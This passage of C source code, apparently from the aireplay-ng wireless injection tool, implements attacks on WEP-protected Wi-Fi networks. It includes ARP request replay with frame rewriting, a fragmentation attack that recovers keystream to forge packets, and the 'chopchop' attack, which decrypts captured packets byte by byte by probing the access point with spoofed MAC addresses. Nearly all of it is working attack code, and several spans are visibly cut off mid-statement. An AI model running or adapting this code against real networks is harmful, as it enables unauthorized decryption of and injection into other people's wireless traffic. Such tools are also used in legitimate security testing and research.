sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 0: /* ad-hoc */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to an ad-hoc packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x40; /* WEP */ } else { nb_arp_tot++; continue; } break; } case 1: /* ToDS */ { if(memcmp(h80211 + 16, BROADCAST, 6) == 0) { /* rewrite to a FromDS packet */ memcpy( h80211 + 4, BROADCAST, 6 ); memcpy( h80211 + 10, opt.f_bssid, 6 ); memcpy( h80211 + 16, opt.f_bssid, 6 ); h80211[1] = 0x42; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset(flip, 0, 4096); // flip[49-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC // flip[53-24-4] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP flip[z+21] ^= ((rand() % 255)+1); //flip random bits in last byte of sender MAC flip[z+25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; itm_mon + 1, lt->tm_mday, lt->tm_hour, lt->tm_min, lt->tm_sec ); printf( "Saving ARP requests in %s\n", strbuf ); if( ( f_cap_out = fopen( strbuf, "wb+" ) ) == NULL ) { perror( "fopen failed" ); return( 1 ); } n = sizeof( struct pcap_file_header ); if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 ) { perror( "fwrite failed\n" ); return( 1 ); } fflush( f_cap_out ); printf( "You should also start airodump-ng to capture replies.\n" ); printf( "Remember to filter the capture to only keep WEP frames: "); printf( " \"tshark -R 'wlan.wep.iv' -r capture.cap -w outcapture.cap\"\n"); //printf( "Remember to filter the capture to keep only broadcast From-DS frames.\n"); if(opt.port_in <= 0) { /* avoid blocking on reading the socket */ if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } memset( ticks, 0, sizeof( ticks ) ); tc = time( NULL ) - 11; nb_pkt_read = 0; nb_bad_pkt = 0; nb_ack_pkt = 0; nb_arp = 0; nb_arp_tot = 0; arp_off1 = 0; arp_off2 = 0; while( 1 ) { /* sleep until the next clock tick */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rRead %ld packets (%ld ARPs, %ld ACKs), " "sent %ld packets...(%d pps)\r", nb_pkt_read, nb_arp_tot, nb_ack_pkt, nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION)) ); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* threshold reach, send one frame */ ticks[2] = 0; if( nb_arp > 0 ) { if( nb_pkt_sent == 0 ) ticks[0] = 0; if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); if( ((double)ticks[0]/(double)RTC_RESOLUTION)*(double)opt.r_nbpps > (double)nb_pkt_sent ) { if( send_packet( arp[arp_off1].buf, arp[arp_off1].len ) < 0 ) return( 1 ); } if( ++arp_off1 >= nb_arp ) arp_off1 = 0; } } /* read a frame, and check if it's an ARP request */ if( opt.s_file == NULL ) { gettimeofday( &tv, NULL ); caplen = read_packet( h80211, sizeof( h80211 ), NULL ); if( caplen < 0 ) return( 1 ); if( caplen == 0 ) continue; } else { n = sizeof( pkh ); if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.magic == TCPDUMP_CIGAM ) { SWAP32( pkh.caplen ); SWAP32( pkh.len ); } tv.tv_sec = pkh.tv_sec; tv.tv_usec = pkh.tv_usec; n = caplen = pkh.caplen; if( n <= 0 || n > (int) sizeof( h80211 ) || n > (int) sizeof( tmpbuf ) ) { printf( "\r\33[KInvalid packet length %d.\n", n ); opt.s_file = NULL; continue; } if( fread( h80211, n, 1, dev.f_cap_in ) != 1 ) { opt.s_file = NULL; continue; } if( dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER ) { /* remove the prism header */ if( h80211[7] == 0x40 ) n = 64; else n = *(int *)( h80211 + 4 ); if( n < 8 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR ) { /* remove the radiotap header */ n = *(unsigned short *)( h80211 + 2 ); if( n <= 0 || n >= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } if( dev.pfh_in.linktype == LINKTYPE_PPI_HDR ) { /* remove the PPI header */ n = le16_to_cpu(*(unsigned short *)( h80211 + 2)); if( n <= 0 || n>= (int) caplen ) continue; /* for a while Kismet logged broken PPI headers */ if ( n == 24 && le16_to_cpu(*(unsigned short *)(h80211 + 8)) == 2 ) n = 32; if( n <= 0 || n>= (int) caplen ) continue; memcpy( tmpbuf, h80211, caplen ); caplen -= n; memcpy( h80211, tmpbuf + n, caplen ); } } nb_pkt_read++; /* check if it's a disas. or deauth packet */ if( ( h80211[0] == 0xC0 || h80211[0] == 0xA0 ) && ! memcmp( h80211 + 4, opt.r_smac, 6 ) ) { nb_bad_pkt++; if( nb_bad_pkt > 64 && time( NULL ) - tc >= 10 ) { printf( "\33[KNotice: got a deauth/disassoc packet. Is the " "source MAC associated ?\n" ); tc = time( NULL ); nb_bad_pkt = 0; } } if( h80211[0] == 0xD4 && ! memcmp( h80211 + 4, opt.f_bssid, 6 ) ) { nb_ack_pkt++; } /* check if it's a potential ARP request */ opt.f_minlen = opt.f_maxlen = 68; if( filter_packet( h80211, caplen ) == 0 ) goto add_arp; opt.f_minlen = opt.f_maxlen = 86; if( filter_packet( h80211, caplen ) == 0 ) { add_arp: z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; switch( h80211[1] & 3 ) { case 2: /* FromDS */ { if(memcmp(h80211 + 4, BROADCAST, 6) == 0) { /* backup sender MAC */ memset( senderMAC, 0, 6 ); memcpy( senderMAC, h80211 + 16, 6 ); /* rewrite to a ToDS packet */ memcpy( h80211 + 4, opt.f_bssid, 6 ); memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, BROADCAST, 6 ); h80211[1] = 0x41; /* ToDS & WEP */ } else { nb_arp_tot++; continue; } break; } default: continue; } // h80211[0] = 0x08; /* normal data */ /* if same IV, perhaps our own packet, skip it */ for( i = 0; i < nb_arp; i++ ) { if( memcmp( h80211 + z, arp[i].buf + arp[i].hdrlen, 4 ) == 0 ) break; } if( i < nb_arp ) continue; if( caplen > 128) continue; /* add the ARP request in the ring buffer */ nb_arp_tot++; /* Ring buffer size: by default: 8 ) */ if( nb_arp >= opt.ringbuffer && opt.ringbuffer > 0) continue; else { if( ( arp[nb_arp].buf = malloc( 128 ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset(flip, 0, 4096); /* flip the sender MAC to convert it into the source MAC */ flip[16] ^= (opt.r_smac[0] ^ senderMAC[0]); flip[17] ^= (opt.r_smac[1] ^ senderMAC[1]); flip[18] ^= (opt.r_smac[2] ^ senderMAC[2]); flip[19] ^= (opt.r_smac[3] ^ senderMAC[3]); flip[20] ^= (opt.r_smac[4] ^ senderMAC[4]); flip[21] ^= (opt.r_smac[5] ^ senderMAC[5]); flip[25] ^= ((rand() % 255)+1); //flip random bits in last byte of sender IP add_crc32_plain(flip, caplen-z-4-4); for(i=0; i> 8) & 0xFF; buf[11] = ip_len & 0xFF; return 0; } int set_final_ip(uchar *buf, uchar *mymac) { if(buf == NULL) return -1; //shifted by 10bytes to set source IP as target IP :) buf[0] = 0x06; //hardware size buf[1] = 0x04; //protocol size buf[2] = 0x00; buf[3] = 0x01; //request memcpy(buf+4, mymac, 6); //sender mac buf[10] = 0xA9; //sender IP from 169.254.XXX.XXX buf[11] = 0xFE; return 0; } int do_attack_cfrag( void ) { int caplen, n; struct timeval tv; struct timeval tv2; float f, ticks[3]; unsigned char bssid[6]; unsigned char smac[6]; unsigned char dmac[6]; uchar keystream[128]; uchar frag1[128], frag2[128], frag3[128]; uchar clear[4096], final[4096], flip[4096]; int isarp; int z, i; opt.f_fromds = 0; read_packets: if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if(caplen < z) { goto read_packets; } if(caplen > 3800) { goto read_packets; } switch( h80211[1] & 3 ) { case 0: memcpy( bssid, h80211 + 16, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 1: memcpy( bssid, h80211 + 4, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 10, 6 ); break; case 2: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 4, 6 ); memcpy( smac, h80211 + 16, 6 ); break; default: memcpy( bssid, h80211 + 10, 6 ); memcpy( dmac, h80211 + 16, 6 ); memcpy( smac, h80211 + 24, 6 ); break; } memset(clear, 0, 4096); memset(final, 0, 4096); memset(flip, 0, 4096); memset(frag1, 0, 128); memset(frag2, 0, 128); memset(frag3, 0, 128); memset(keystream, 0, 128); /* check if it's a potential ARP request */ //its length 68-24 or 86-24 and going to broadcast or a unicast mac (even first byte) if( (caplen-z == 68-24 || caplen-z == 86-24) && (memcmp(dmac, BROADCAST, 6) == 0 || (dmac[0]%2) == 0) ) { /* process ARP */ printf("Found ARP packet\n"); isarp = 1; //build the new packet set_clear_arp(clear, smac, dmac); set_final_arp(final, opt.r_smac); for(i=0; i<14; i++) keystream[i] = (h80211+z+4)[i] ^ clear[i]; // correct 80211 header // h80211[0] = 0x08; //data if( (h80211[1] & 3) == 0x00 ) //ad-hoc { h80211[1] = 0x40; //wep memcpy(h80211+4, smac, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, bssid, 6); } else //tods { if(opt.f_tods == 1) { h80211[1] = 0x41; //wep+ToDS memcpy(h80211+4 , bssid, 6); memcpy(h80211+10, opt.r_smac, 6); memcpy(h80211+16, smac, 6); } else { h80211[1] = 0x42; //wep+FromDS memcpy(h80211+4, smac, 6); memcpy(h80211+10, bssid, 6); memcpy(h80211+16, opt.r_smac, 6); } } h80211[22] = 0xD0; //frag = 0; h80211[23] = 0x50; //need to shift by 10 bytes; (add 1 frag in front) memcpy(frag1, h80211, z+4); //copy 80211 header and IV frag1[1] |= 0x04; //more frags memcpy(frag1+z+4, S_LLC_SNAP_ARP, 8); frag1[z+4+8] = 0x00; frag1[z+4+9] = 0x01; //ethernet add_crc32(frag1+z+4, 10); for(i=0; i<14; i++) (frag1+z+4)[i] ^= keystream[i]; /* frag1 finished */ for(i=0; i= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "read(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; ticks[1]++; ticks[2]++; } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 1000000/RTC_RESOLUTION ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / ( 1000000/RTC_RESOLUTION ); ticks[1] += f / ( 1000000/RTC_RESOLUTION ); ticks[2] += f / ( 1000000/RTC_RESOLUTION ); } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %ld packets...(%d pps)\33[K\r", nb_pkt_sent, (int)((double)nb_pkt_sent/((double)ticks[0]/(double)RTC_RESOLUTION))); fflush( stdout ); } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION < 1 ) continue; /* threshold reached */ ticks[2] = 0; if( nb_pkt_sent == 0 ) ticks[0] = 0; if(isarp) { if( send_packet( frag1, z+4+10+4 ) < 0 ) return( 1 ); nb_pkt_sent--; } else { if( send_packet( frag1, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag2, z+4+4+4 ) < 0 ) return( 1 ); if( send_packet( frag3, z+4+4+4 ) < 0 ) return( 1 ); nb_pkt_sent-=3; } if( send_packet( h80211, caplen ) < 0 ) return( 1 ); } return( 0 ); } int do_attack_chopchop( void ) { float f, ticks[4]; int i, j, n, z, caplen, srcz; int data_start, data_end, srcdiff, diff; int guess, is_deauth_mode; int nb_bad_pkt; int tried_header_rec=0; unsigned char b1 = 0xAA; unsigned char b2 = 0xAA; FILE *f_cap_out; long nb_pkt_read; unsigned long crc_mask; unsigned char *chopped; uchar packet[4096]; time_t tt; struct tm *lt; struct timeval tv; struct timeval tv2; struct pcap_file_header pfh_out; struct pcap_pkthdr pkh; if(getnet(NULL, 1, 0) != 0) return 1; srand( time( NULL ) ); if( capture_ask_packet( &caplen, 0 ) != 0 ) return( 1 ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; srcz = z; if( (unsigned)caplen > sizeof(srcbuf) || (unsigned)caplen > sizeof(h80211) ) return( 1 ); if( opt.r_smac_set == 1 ) { //handle picky APs (send one valid packet before all the invalid ones) memset(packet, 0, sizeof(packet)); memcpy( packet, NULL_DATA, 24 ); memcpy( packet + 4, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); memcpy( packet + 10, opt.r_smac, 6 ); memcpy( packet + 16, opt.f_bssid, 6 ); packet[0] = 0x08; //make it a data packet packet[1] = 0x41; //set encryption and ToDS=1 memcpy( packet+24, h80211+z, caplen-z); if( send_packet( packet, caplen-z+24 ) != 0 ) return( 1 ); //done sending a correct packet } /* Special handling for spanning-tree packets */ if ( memcmp( h80211 + 4, SPANTREE, 6 ) == 0 || memcmp( h80211 + 16, SPANTREE, 6 ) == 0 ) { b1 = 0x42; b2 = 0x42; } printf( "\n" ); /* chopchop operation mode: truncate and decrypt the packet */ /* we assume the plaintext starts with AA AA 03 00 00 00 */ /* (42 42 03 00 00 00 for spanning-tree packets) */ memcpy( srcbuf, h80211, caplen ); /* setup the chopping buffer */ n = caplen - z + 24; if( ( chopped = (unsigned char *) malloc( n ) ) == NULL ) { perror( "malloc failed" ); return( 1 ); } memset( chopped, 0, n ); data_start = 24 + 4; data_end = n; srcdiff = z-24; chopped[0] = 0x08; /* normal data frame */ chopped[1] = 0x41; /* WEP = 1, ToDS = 1 */ /* copy the duration */ memcpy( chopped + 2, h80211 + 2, 2 ); /* copy the BSSID */ switch( h80211[1] & 3 ) { case 0: memcpy( chopped + 4, h80211 + 16, 6 ); break; case 1: memcpy( chopped + 4, h80211 + 4, 6 ); break; case 2: memcpy( chopped + 4, h80211 + 10, 6 ); break; default: memcpy( chopped + 4, h80211 + 10, 6 ); break; } /* copy the WEP IV */ memcpy( chopped + 24, h80211 + z, 4 ); /* setup the xor mask to hide the original data */ crc_mask = 0; for( i = data_start; i < data_end - 4; i++ ) { switch( i - data_start ) { case 0: chopped[i] = b1 ^ 0xE0; break; case 1: chopped[i] = b2 ^ 0xE0; break; case 2: chopped[i] = 0x03 ^ 0x03; break; default: chopped[i] = 0x55 ^ ( i & 0xFF ); break; } crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ) ^ ( chopped[i] << 24 ); } for( i = 0; i < 4; i++ ) crc_mask = crc_tbl[crc_mask & 0xFF] ^ ( crc_mask >> 8 ); chopped[data_end - 4] = crc_mask; crc_mask >>= 8; chopped[data_end - 3] = crc_mask; crc_mask >>= 8; chopped[data_end - 2] = crc_mask; crc_mask >>= 8; chopped[data_end - 1] = crc_mask; crc_mask >>= 8; for( i = data_start; i < data_end; i++ ) chopped[i] ^= srcbuf[i+srcdiff]; data_start += 6; /* skip the SNAP header */ /* if the replay source mac is unspecified, forge one */ if( opt.r_smac_set == 0 ) { is_deauth_mode = 1; opt.r_smac[0] = 0x00; opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; memcpy( opt.r_dmac, "\xFF\xFF\xFF\xFF\xFF\xFF", 6 ); } else { is_deauth_mode = 0; opt.r_dmac[0] = 0xFF; opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } /* let's go chopping */ memset( ticks, 0, sizeof( ticks ) ); nb_pkt_read = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; tt = time( NULL ); alarm( 30 ); signal( SIGALRM, sighandler ); if(opt.port_in <= 0) { if( fcntl( dev.fd_in, F_SETFL, O_NONBLOCK ) < 0 ) { perror( "fcntl(O_NONBLOCK) failed" ); return( 1 ); } } while( data_end > data_start ) { if( alarmed ) { printf( "\n\n" "The chopchop attack appears to have failed. Possible reasons:\n" "\n" " * You're trying to inject with an unsupported chipset (Centrino?).\n" " * The driver source wasn't properly patched for injection support.\n" " * You are too far from the AP. Get closer or reduce the send rate.\n" " * Target is 802.11g only but you are using a Prism2 or RTL8180.\n" " * The wireless interface isn't setup on the correct channel.\n" ); if( is_deauth_mode ) printf( " * The AP isn't vulnerable when operating in non-authenticated mode.\n" " Run aireplay-ng in authenticated mode instead (-h option).\n\n" ); else printf( " * The client MAC you have specified is not currently authenticated.\n" " Try running another aireplay-ng to fake authentication (attack \"-1\").\n" " * The AP isn't vulnerable when operating in authenticated mode.\n" " Try aireplay-ng in non-authenticated mode instead (no -h option).\n\n" ); return( 1 ); } /* wait for the next timer interrupt, or sleep */ if( dev.fd_rtc >= 0 ) { if( read( dev.fd_rtc, &n, sizeof( n ) ) < 0 ) { perror( "\nread(/dev/rtc) failed" ); return( 1 ); } ticks[0]++; /* ticks since we entered the while loop */ ticks[1]++; /* ticks since the last status line update */ ticks[2]++; /* ticks since the last frame was sent */ ticks[3]++; /* ticks since started chopping current byte */ } else { /* we can't trust usleep, since it depends on the HZ */ gettimeofday( &tv, NULL ); usleep( 976 ); gettimeofday( &tv2, NULL ); f = 1000000 * (float) ( tv2.tv_sec - tv.tv_sec ) + (float) ( tv2.tv_usec - tv.tv_usec ); ticks[0] += f / 976; ticks[1] += f / 976; ticks[2] += f / 976; ticks[3] += f / 976; } /* update the status line */ if( ticks[1] > (RTC_RESOLUTION/10) ) { ticks[1] = 0; printf( "\rSent %3ld packets, current guess: %02X...\33[K", nb_pkt_sent, guess ); fflush( stdout ); } if( data_end < 41 && ticks[3] > 8 * ( ticks[0] - ticks[3] ) / (int) ( caplen - ( data_end - 1 ) ) ) { header_rec: printf( "\n\nThe AP appears to drop packets shorter " "than %d bytes.\n",data_end ); data_end = 40; z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; if( ( chopped[data_end + 0] ^ srcbuf[data_end + srcdiff + 0] ) == 0x06 && ( chopped[data_end + 1] ^ srcbuf[data_end + srcdiff + 1] ) == 0x04 && ( chopped[data_end + 2] ^ srcbuf[data_end + srcdiff + 2] ) == 0x00 ) { printf( "Enabling standard workaround: " "ARP header re-creation.\n" ); chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x06; chopped[24 + 12] = srcbuf[srcz + 12] ^ 0x00; chopped[24 + 13] = srcbuf[srcz + 13] ^ 0x01; chopped[24 + 14] = srcbuf[srcz + 14] ^ 0x08; chopped[24 + 15] = srcbuf[srcz + 15] ^ 0x00; } else { printf( "Enabling standard workaround: " " IP header re-creation.\n" ); n = caplen - ( z + 16 ); chopped[24 + 4] = srcbuf[srcz + 4] ^ 0xAA; chopped[24 + 5] = srcbuf[srcz + 5] ^ 0xAA; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 9] = srcbuf[srcz + 9] ^ 0x00; chopped[24 + 10] = srcbuf[srcz + 10] ^ 0x08; chopped[24 + 11] = srcbuf[srcz + 11] ^ 0x00; chopped[24 + 14] = srcbuf[srcz + 14] ^ ( n >> 8 ); chopped[24 + 15] = srcbuf[srcz + 15] ^ ( n & 0xFF ); memcpy( h80211, srcbuf, caplen ); for( i = z + 4; i < (int) caplen; i++ ) h80211[i - 4] = h80211[i] ^ chopped[i-diff]; /* sometimes the header length or the tos field vary */ for( i = 0; i < 16; i++ ) { h80211[z + 8] = 0x40 + i; chopped[24 + 12] = srcbuf[srcz + 12] ^ ( 0x40 + i ); for( j = 0; j < 256; j++ ) { h80211[z + 9] = j; chopped[24 + 13] = srcbuf[srcz + 13] ^ j; if( check_crc_buf( h80211 + z, caplen - z - 8 ) ) goto have_crc_match; } } printf( "This doesn't look like an IP packet, " "try another one.\n" ); } have_crc_match: break; } if( ( ticks[2] * opt.r_nbpps ) / RTC_RESOLUTION >= 1 ) { /* send one modified frame */ ticks[2] = 0; memcpy( h80211, chopped, data_end - 1 ); /* note: guess 256 is special, it tests if the * * AP properly drops frames with an invalid ICV * * so this guess always has its bit 8 set to 0 */ if( is_deauth_mode ) { opt.r_smac[1] |= ( guess < 256 ); opt.r_smac[5] = guess & 0xFF; } else { opt.r_dmac[1] |= ( guess < 256 ); opt.r_dmac[5] = guess & 0xFF; } memcpy( h80211 + 10, opt.r_smac, 6 ); memcpy( h80211 + 16, opt.r_dmac, 6 ); if( guess < 256 ) { h80211[data_end - 2] ^= crc_chop_tbl[guess][3]; h80211[data_end - 3] ^= crc_chop_tbl[guess][2]; h80211[data_end - 4] ^= crc_chop_tbl[guess][1]; h80211[data_end - 5] ^= crc_chop_tbl[guess][0]; } errno = 0; if( send_packet( h80211, data_end -1 ) != 0 ) return( 1 ); if( errno != EAGAIN ) { guess++; if( guess > 256 ) guess = 0; } } /* watch for a response from the AP */ n = read_packet( h80211, sizeof( h80211 ), NULL ); if( n < 0 ) return( 1 ); if( n == 0 ) continue; nb_pkt_read++; /* check if it's a deauth packet */ if( h80211[0] == 0xA0 || h80211[0] == 0xC0 ) { if( memcmp( h80211 + 4, opt.r_smac, 6 ) == 0 && ! is_deauth_mode ) { nb_bad_pkt++; if( nb_bad_pkt > 256 ) { printf("\rgot several deauthentication packets - pausing 3 seconds for reconnection\n"); sleep(3); nb_bad_pkt = 0; } continue; } if( h80211[4] != opt.r_smac[0] ) continue; if( h80211[6] != opt.r_smac[2] ) continue; if( h80211[7] != opt.r_smac[3] ) continue; if( h80211[8] != opt.r_smac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_smac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in authenticated mode (-h) instead.\n\n" ); return( 1 ); } } else { if( is_deauth_mode ) continue; /* check if it's a WEP data packet */ if( ( h80211[0] & 0x0C ) != 8 ) continue; if( ( h80211[0] & 0x70 ) != 0 ) continue; if( ( h80211[1] & 0x03 ) != 2 ) continue; if( ( h80211[1] & 0x40 ) == 0 ) continue; /* check the extended IV (TKIP) flag */ z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; if( ( h80211[z + 3] & 0x20 ) != 0 ) continue; /* check the destination address */ if( h80211[4] != opt.r_dmac[0] ) continue; if( h80211[6] != opt.r_dmac[2] ) continue; if( h80211[7] != opt.r_dmac[3] ) continue; if( h80211[8] != opt.r_dmac[4] ) continue; if( ( h80211[5] & 0xFE ) != ( opt.r_dmac[1] & 0xFE ) ) continue; if( ! ( h80211[5] & 1 ) ) { if( data_end < 41 ) goto header_rec; printf( "\n\nFailure: the access point does not properly " "discard frames with an\ninvalid ICV - try running " "aireplay-ng in non-authenticated mode instead.\n\n" ); return( 1 ); } } /* we have a winner */ guess = h80211[9]; chopped[data_end - 1] ^= guess; chopped[data_end - 2] ^= crc_chop_tbl[guess][3]; chopped[data_end - 3] ^= crc_chop_tbl[guess][2]; chopped[data_end - 4] ^= crc_chop_tbl[guess][1]; chopped[data_end - 5] ^= crc_chop_tbl[guess][0]; n = caplen - data_start; printf( "\rOffset %4d (%2d%% done) | xor = %02X | pt = %02X | " "%4ld frames written in %5.0fms\n", data_end - 1, 100 * ( caplen - data_end ) / n, chopped[data_end - 1], chopped[data_end - 1] ^ srcbuf[data_end + srcdiff - 1], nb_pkt_sent, ticks[3] ); if( is_deauth_mode ) { opt.r_smac[1] = rand() & 0x3E; opt.r_smac[2] = rand() & 0xFF; opt.r_smac[3] = rand() & 0xFF; opt.r_smac[4] = rand() & 0xFF; } else { opt.r_dmac[1] = rand() & 0xFE; opt.r_dmac[2] = rand() & 0xFF; opt.r_dmac[3] = rand() & 0xFF; opt.r_dmac[4] = rand() & 0xFF; } ticks[3] = 0; nb_pkt_sent = 0; nb_bad_pkt = 0; guess = 256; data_end--; alarm( 0 ); } /* reveal the plaintext (chopped contains the prga) */ memcpy( h80211, srcbuf, caplen ); z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; if ( ( h80211[0] & 0x80 ) == 0x80 ) /* QoS */ z+=2; diff = z-24; chopped[24 + 4] = srcbuf[srcz + 4] ^ b1; chopped[24 + 5] = srcbuf[srcz + 5] ^ b2; chopped[24 + 6] = srcbuf[srcz + 6] ^ 0x03; chopped[24 + 7] = srcbuf[srcz + 7] ^ 0x00; chopped[24 + 8] = srcbuf[srcz + 8] ^ 0x00; chopped[24 + 